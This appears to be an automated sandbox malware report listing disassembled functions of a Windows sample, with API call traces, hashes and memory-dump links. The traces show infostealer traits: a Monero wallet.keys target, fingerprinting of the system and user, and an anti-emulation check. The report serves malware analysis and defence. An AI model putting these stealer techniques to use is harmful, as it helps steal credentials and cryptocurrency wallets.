Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: f30a3e0c8a076a83690b7a9d0d3bceb92cd4d1307dc3cfdb0417116414cffd7a
Instruction ID: 00e3e0a66448aa9aee7ec0d52fb429559126d443ca47ce42a1e75f2ae6cce3fa
Opcode Fuzzy Hash: f30a3e0c8a076a83690b7a9d0d3bceb92cd4d1307dc3cfdb0417116414cffd7a
Instruction Fuzzy Hash: 9421987A9002086BCB54FB70EC86EED337CEB54700F404698B65993181EE759BC89FB2

Function 00D80740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01B08BA0), ref: 00D8079A
StrCmpCA.SHLWAPI(00000000,01B08BD0), ref: 00D80866
StrCmpCA.SHLWAPI(00000000,01B08C40), ref: 00D8099D

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 601caa0333811bbccf9451ee5583a253a28e77715412bb71929fa5aaf1288307
Instruction ID: 3acbe5e43f7f841ab8105aba28d7b8573e263465a3b895a9171eba1319baf006
Opcode Fuzzy Hash: 601caa0333811bbccf9451ee5583a253a28e77715412bb71929fa5aaf1288307
Instruction Fuzzy Hash: AC914775A101089FDB28FF68DD95BED77B5FF94300F508519E8099B241EB34AA09CBA2

Function 00D80765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01B08BA0), ref: 00D8079A
StrCmpCA.SHLWAPI(00000000,01B08BD0), ref: 00D80866
StrCmpCA.SHLWAPI(00000000,01B08C40), ref: 00D8099D

Part of subcall function 00D8A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00D8A7E6

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 7a954c1512575affaa95f5cb431414806fc17dc035419276567cdbd11f9726d1
Instruction ID: 72370af62c042d36f9ca05f6ade79a0ee76e2a20f54086af8a4b6538b3045b97
Opcode Fuzzy Hash: 7a954c1512575affaa95f5cb431414806fc17dc035419276567cdbd11f9726d1
Instruction Fuzzy Hash: 3E817975B102089FDB18FF68D991EEDB7B5FF94300F508519E4099F251DB34AA09CBA2

Function 00D870D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

memset.MSVCRT ref: 00D8716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00D8718C

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: 612b5aeb9be5c7567a8f7dc3c41fabc29c3cb40608de0eaa9fe0bed5266988b0
Instruction ID: ee5a6386adccb331451ac54eecd3c23bf9ca37df65e91b9d768242f7b5953495
Opcode Fuzzy Hash: 612b5aeb9be5c7567a8f7dc3c41fabc29c3cb40608de0eaa9fe0bed5266988b0
Instruction Fuzzy Hash: 6B517DB0D04218AFDB14FB94DC85BEEB774EF54304F2441A9E21566181EB74AE88CF79

Function 6CEC3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CEC3095

Part of subcall function 6CEC35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CF4F688,00001000), ref: 6CEC35D5
Part of subcall function 6CEC35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CEC35E0
Part of subcall function 6CEC35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CEC35FD
Part of subcall function 6CEC35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CEC363F
Part of subcall function 6CEC35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CEC369F
Part of subcall function 6CEC35A0: __aulldiv.LIBCMT ref: 6CEC36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEC309F

Part of subcall function 6CEE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CEE56EE,?,00000001), ref: 6CEE5B85
Part of subcall function 6CEE5B50: EnterCriticalSection.KERNEL32(6CF4F688,?,?,?,6CEE56EE,?,00000001), ref: 6CEE5B90
Part of subcall function 6CEE5B50: LeaveCriticalSection.KERNEL32(6CF4F688,?,?,?,6CEE56EE,?,00000001), ref: 6CEE5BD8
Part of subcall function 6CEE5B50: GetTickCount64.KERNEL32 ref: 6CEE5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CEC30BE

Part of subcall function 6CEC30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CEC3127
Part of subcall function 6CEC30F0: __aulldiv.LIBCMT ref: 6CEC3140

Part of subcall function 6CEFAB2A: __onexit.LIBCMT ref: 6CEFAB30

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: e979f9c35d135fe7f28af898dbae85297aad420ac4de63e1dd700aa7d6db0165
Instruction ID: eb6f1de57a54f156b1abde507b2cb7ad70c9ef493a8da2eb6633cd9d7463fb4d
Opcode Fuzzy Hash: e979f9c35d135fe7f28af898dbae85297aad420ac4de63e1dd700aa7d6db0165
Instruction Fuzzy Hash: DEF0D622E3074497CB90FF7498412E6B370AF7B218F20931DE85C57612FB2061D88386

Function 00D89470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00D89484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00D894A5
CloseHandle.KERNEL32(00000000), ref: 00D894AF

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: affef3a40fa3b2f19915bb7b2b74c7188a41885a746c35b41d180f83e12b92cf
Instruction ID: 05bf561f75d6062f62c8a7bf7b231e30e5e0297fff5298af00a2cdcadf3984d6
Opcode Fuzzy Hash: affef3a40fa3b2f19915bb7b2b74c7188a41885a746c35b41d180f83e12b92cf
Instruction Fuzzy Hash: D3F0827490020CFBDB04EFA4DC8AFED7778EB08300F104598BA0997290D6B4AE85DF91

Function 00D71110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00D7112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00D71132
ExitProcess.KERNEL32 ref: 00D71143

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 01447dcff1269bd868d6bc5052f398d5d9b00f09f223845349219ca6e528c208
Instruction ID: 744587f4854769ac9b01cc1a118fd00311d36d6198c495bc51adc990558016f4
Opcode Fuzzy Hash: 01447dcff1269bd868d6bc5052f398d5d9b00f09f223845349219ca6e528c208
Instruction Fuzzy Hash: 4CE08670A4530CFBE7106BA4DC0AB087678EB04B01F104244F7087A5C0D6B56600AAA9

Function 00D81A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D8A740: lstrcpy.KERNEL32(00D90E17,00000000), ref: 00D8A788

Part of subcall function 00D8A9B0: lstrlen.KERNEL32(?,01B08B50,?,\Monero\wallet.keys,00D90E17), ref: 00D8A9C5
Part of subcall function 00D8A9B0: lstrcpy.KERNEL32(00000000), ref: 00D8AA04
Part of subcall function 00D8A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D8AA12

Part of subcall function 00D8A8A0: lstrcpy.KERNEL32(?,00D90E17), ref: 00D8A905

Part of subcall function 00D87500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00D87542
Part of subcall function 00D87500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D8757F
Part of subcall function 00D87500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D87603
Part of subcall function 00D87500: RtlAllocateHeap.NTDLL(00000000), ref: 00D8760A

Part of subcall function 00D8A920: lstrcpy.KERNEL32(00000000,?), ref: 00D8A972
Part of subcall function 00D8A920: lstrcat.KERNEL32(00000000), ref: 00D8A982

Part of subcall function 00D87690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D876A4
Part of subcall function 00D87690: RtlAllocateHeap.NTDLL(00000000), ref: 00D876AB

Part of subcall function 00D877C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,00D8DBC0,000000FF,?,00D81C99,00000000,?,01B0D968,00000000,?), ref: 00D877F2
Part of subcall function 00D877C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,00D8DBC0,000000FF,?,00D81C99,00000000,?,01B0D968,00000000,?), ref: 00D877F9

Part of subcall function 00D87850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00D711B7), ref: 00D87880
Part of subcall function 00D87850: RtlAllocateHeap.NTDLL(00000000), ref: 00D87887
Part of subcall function 00D87850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00D8789F

Part of subcall function 00D878E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D87910
Part of subcall function 00D878E0: RtlAllocateHeap.NTDLL(00000000), ref: 00D87917
Part of subcall function 00D878E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00D8792F

Part of subcall function 00D87980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00D90E00,00000000,?), ref: 00D879B0
Part of subcall function 00D87980: RtlAllocateHeap.NTDLL(00000000), ref: 00D879B7
Part of subcall function 00D87980: GetLocalTime.KERNEL32(?,?,?,?,?,00D90E00,00000000,?), ref: 00D879C4
Part of subcall function 00D87980: wsprintfA.USER32 ref: 00D879F3

Part of subcall function 00D87A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,01B0ED80,00000000,?,00D90E10,00000000,?,00000000,00000000), ref: 00D87A63
Part of subcall function 00D87A30: RtlAllocateHeap.NTDLL(00000000), ref: 00D87A6A
Part of subcall function 00D87A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,01B0ED80,00000000,?,00D90E10,00000000,?,00000000,00000000,?), ref: 00D87A7D

Part of subcall function 00D87B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,01B0ED80,00000000,?,00D90E10,00000000,?,00000000,00000000), ref: 00D87B35

Part of subcall function 00D87B90: GetKeyboardLayoutList.USER32(00000000,00000000,00D905AF), ref: 00D87BE1
Part of subcall function 00D87B90: LocalAlloc.KERNEL32(00000040,?), ref: 00D87BF9
Part of subcall function 00D87B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00D87C0D
Part of subcall function 00D87B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00D87C62
Part of subcall function 00D87B90: LocalFree.KERNEL32(00000000), ref: 00D87D22

Part of subcall function 00D87D80: GetSystemPowerStatus.KERNEL32(?), ref: 00D87DAD

GetCurrentProcessId.KERNEL32(00000000,?,01B0DA28,00000000,?,00D90E24,00000000,?,00000000,00000000,?,01B0ED98,00000000,?,00D90E20,00000000), ref: 00D8207E

Part of subcall function 00D89470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00D89484
Part of subcall function 00D89470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00D894A5
Part of subcall function 00D89470: CloseHandle.KERNEL32(00000000), ref: 00D894AF

Part of subcall function 00D87E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D87E37
Part of subcall function 00D87E00: RtlAllocateHeap.NTDLL(00000000), ref: 00D87E3E
Part of subcall function 00D87E00: RegOpenKeyExA.KERNEL32(80000002,01AFBB80,00000000,00020119,?), ref: 00D87E5E
Part of subcall function 00D87E00: RegQueryValueExA.KERNEL32(?,01B0DBC8,00000000,00000000,000000FF,000000FF), ref: 00D87E7F
Part of subcall function 00D87E00: RegCloseKey.ADVAPI32(?), ref: 00D87E92

Part of subcall function 00D87F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00D87FC9
Part of subcall function 00D87F60: GetLastError.KERNEL32 ref: 00D87FD8

Part of subcall function 00D87ED0: GetSystemInfo.KERNEL32(00D90E2C), ref: 00D87F00
Part of subcall function 00D87ED0: wsprintfA.USER32 ref: 00D87F16

Part of subcall function 00D88100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01B0ECA8,00000000,?,00D90E2C,00000000,?,00000000), ref: 00D88130
